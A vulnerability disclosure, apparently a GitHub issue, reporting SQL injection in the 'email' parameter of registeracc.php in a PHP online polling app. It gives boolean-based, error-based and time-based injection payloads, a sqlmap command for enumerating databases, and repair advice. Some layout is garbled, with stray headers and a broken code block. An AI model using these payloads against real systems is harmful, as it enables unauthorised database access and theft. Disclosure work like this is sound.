t4rrega / cve

0 stars 0 forks source link

code-projects Online Polling Using PHP With Source Code v1.0 registeracc.php SQL injection #3

Open t4rrega opened 2 months ago

t4rrega commented 2 months ago

code-projects Online Polling Using PHP With Source Code v1.0 registeracc.php SQL injection

NAME OF AFFECTED PRODUCT(S)

Impact

firstname=admin123&lastname=123admin&email=adminqq%40qq.com&password=123123&ConfirmPassword=123123&submit=Register+Account


## Vulnerability type: 
+ time-based blind
+ boolean-based blind
+ error-based

## Vulnerability location:
+ 'email' parameter 
## Payload: 

Parameter: email (POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: firstname=admin123&lastname=123admin&email=adminqq@qq.com' RLIKE (SELECT (CASE WHEN (4676=4676) THEN 0x61646d696e71714071712e636f6d ELSE 0x28 END)) AND 'lAdW'='lAdW&password=123123&ConfirmPassword=123123&submit=Register Account

Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: firstname=admin123&lastname=123admin&email=adminqq@qq.com' AND EXTRACTVALUE(6030,CONCAT(0x5c,0x71786b7a71,(SELECT (ELT(6030=6030,1))),0x7176786b71)) AND 'DUet'='DUet&password=123123&ConfirmPassword=123123&submit=Register Account

Type: time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: firstname=admin123&lastname=123admin&email=adminqq@qq.com' RLIKE SLEEP(5) AND 'rkhB'='rkhB&password=123123&ConfirmPassword=123123&submit=Register Account
<img width="967" alt="2" src="https://github.com/user-attachments/assets/02210dfd-9929-4676-8c8d-ebd284c6da52">

## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:
```bash
sqlmap -r 123 --batch --dbs
3

Suggested repair

  1. Use prepared statements and parameter binding: Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

  2. Input validation and filtering: Strictly validate and filter user input data to ensure it conforms to the expected format.

  3. Minimize database user permissions: Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

  4. Regular security audits: Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.